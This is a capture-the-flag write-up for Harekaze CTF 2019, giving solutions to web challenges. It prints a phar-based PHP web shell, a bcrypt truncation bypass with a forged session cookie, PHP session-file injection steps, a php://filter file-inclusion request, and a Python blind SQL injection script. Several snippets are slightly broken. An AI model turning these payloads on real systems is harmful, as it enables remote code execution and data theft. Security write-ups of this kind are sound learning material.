Article List

Harekaze CTF 2019 Writeup

Tue May 21 2019 23:09:51 GMT+0900 (일본 표준시)


final scoreboard

I played the CTF with the team name Yokosuka Hackers (Japan-Korea join team) and achieved 1st place.

Here are writeups for web/misc challenges.


Simple JS Jail challenge.

It is running on context, so we have nothing to do but to play with constructor and console.

The equation for this jail was as follows. no quotes, backticks and numbers are allowed. Just alphabets, dots and braces were allowed.

1337 === eval(our_input)

so what we need to make is

1337 === int(str(int(1)).concat(3).concat(3).concat(7))
constructor.length.constructor = Integer object = String object
constructor.constructor.length = 1 => "dir".length = 3 => "context".length = 7

Final payload



  1. bypass finfo and bypass image size
  2. Upload 0x10 header of PNG, size bypassed. Payload: here
  3. Flag: HarekazeCTF{seikai_wa_hitotsu!janai!!}


  1. We take the first file payload and save it into a.png.
  2. Generate exploit phar file for attack.
    $a = fread(fopen("a.png","rb"), filesize("a.png")) . str_repeat("\x00", 32);
    $phar = new Phar('exploit.phar');
    $phar->addFromString('exploit.css', '<?php @var_dump($_GET[1]($_GET[2])); ?>');
    $phar->setStub($a . '<?php __HALT_COMPILER(); ? >');
  1. Upload generated phar file.
  2. upload flag1
  3. You receive session with flag1 on flash.


Now we modify theme with uploaded file from (3) {"name":"STYPRSTYPRSTYPRA","flash":{"type":"error","message":"What happened...? OK, the flag for part 1 is: <code>HarekazeCTF{seikai_wa_hitotsu!janai!!}<\/code>"}, "theme": "phar://./uploads/64f3139f.png/exploit"}

  1. This works due to the crypt() function's implementaion and its default bcrypt specification; the check length is limited per spec. Considering that we have a long secret, we can just add the plaintext at the end of session text and password_verify is easily bypassed.
$a = password_hash(str_repeat("A"*128, PASSWORD_BCRYPT);
var_dump(password_verify(str_repeat("A"*256), $a)); // true, because it only checks the first 128 byte
  1. Set cookie to attack

document.cookie="session=eyJuYW1lIjoiU1RZUFJTVFlQUlNUWVBSQSIsImZsYXNoIjp7InR5cGUiOiJlcnJvciIsIm1lc3NhZ2UiOiJXaGF0IGhhcHBlbmVkLi4uPyBPSywgdGhlIGZsYWcgZm9yIHBhcnQgMSBpczogPGNvZGU-SGFyZWthemVDVEZ7c2Vpa2FpX3dhX2hpdG90c3UhamFuYWkhIX08XC9jb2RlPiJ9LCAidGhlbWUiOiAicGhhcjovLy4vdXBsb2Fkcy82NGYzMTM5Zi5wbmcvZXhwbG9pdCJ9" +".JDJ5JDEwJHA1dWg0Njlia2N5bjZvL1p6aVdKNnVrQUxTckJKLkQwelVmUG1qTTZ2akVpc3hLNDFFU0hX";

  1. access
vertical-align: middle;
/* light/dark.css */
string(33) "HarekazeCTF{lfi_with_phar_is_fun}"

I thought too deep for this challenge and I also bypassed with zip:// during the competition. (?!)


At the time of solving this challenge, I was not able to connect the server, so I contacted st98-san to check the challenge with my payload.



Exploit Method

This challenge is about the problem that can cause when session files and uploaded files are in the same directory.

To successfullly exploit this challenge, we need to export the data with the PHP session filename format and load the session from Cookie.

  1. login as -> sess_imouto, to create session file during export. PHP session files start with sess_.
  2. add_note -> title: dummy|s:1:"d";user|s:6:"imouto";admin|b:1; / content: kawaii. Content is not required.
  3. run /export.php?type=.ok -> due to str_replace function, str_replace("..", "", "/var/www/tmp/sess_imouto-(rand)." . ".ok");
  4. you get the filename from the /export.php response, so we take out the filename.
  5. run index.php?page=flag with Cookie: PHPSESSID=xyz where xyz is the filename retrieved from (4).


Very simple. We can use \u escapes per JSON specification. so we can bypass filters and load the flag file.

root@imouto-router:~# curl -v "" -d '{"page": "\u0070hp://filter/convert.base64-encode/resource=/\u0066lag"}'
*   Trying
* Connected to ( port 10001 (#0)
> POST /query.php HTTP/1.1
> Host:
> User-Agent: curl/7.58.0
> Accept: */*
> Content-Length: 71
> Content-Type: application/x-www-form-urlencoded
* upload completely sent off: 71 out of 71 bytes
< HTTP/1.1 200 OK
< Date: Sat, 18 May 2019 08:15:23 GMT
< Server: Apache/2.4.25 (Debian)
< X-Powered-By: PHP/7.3.5
< Content-Length: 66
< Content-Type: text/html; charset=UTF-8
* Connection #0 to host left intact


shpik san, safflower san, ptr-yudai san and I were on this challenge.

we were able to retrieve some part of the flag, but we didn't have much time to finish this challenge.

it is basically error-based blind sql injection on SQLite. since there were many patches on sqlite module, we had to find some new payloads to attack the service.

import requests
import readline

url = ""
url = ""
def rr(payload):
    global url
    data = {"id":payload}
    r =,data=data)
    return r.text

length = 38
for i in range(150,155):
    query = "((select(length(hex(hex(flag))))from(flag))between(%d)and(%d))and(select(sum(a))from(select(2305843009213693953)a,(id)from(vote))a)"%(i,i)
    t = rr(query)
    print 'try : ',i,t
    if 'error' in t:
        length = i
#print 'length is ',i
# length = 38

flag = '343836313732363536623631376136353433353434363762'
flag = '343836313732363536423631374136353433353434363742'
for i in range(151-len(flag),-1,-1):
    for k in range(0,10):
        query = "((select(length(trim(hex(hex(flag)),%s)))from(flag))between(1)and(%d))and(select(sum(a))from(select(2305843009213693953)a,(id)from(vote))a)"%(flag+str(k),i)
        t = rr(query)
        print 'try:',i, k ,query
        if 'error' in t:
            flag += str(k)
            print 'now : ', flag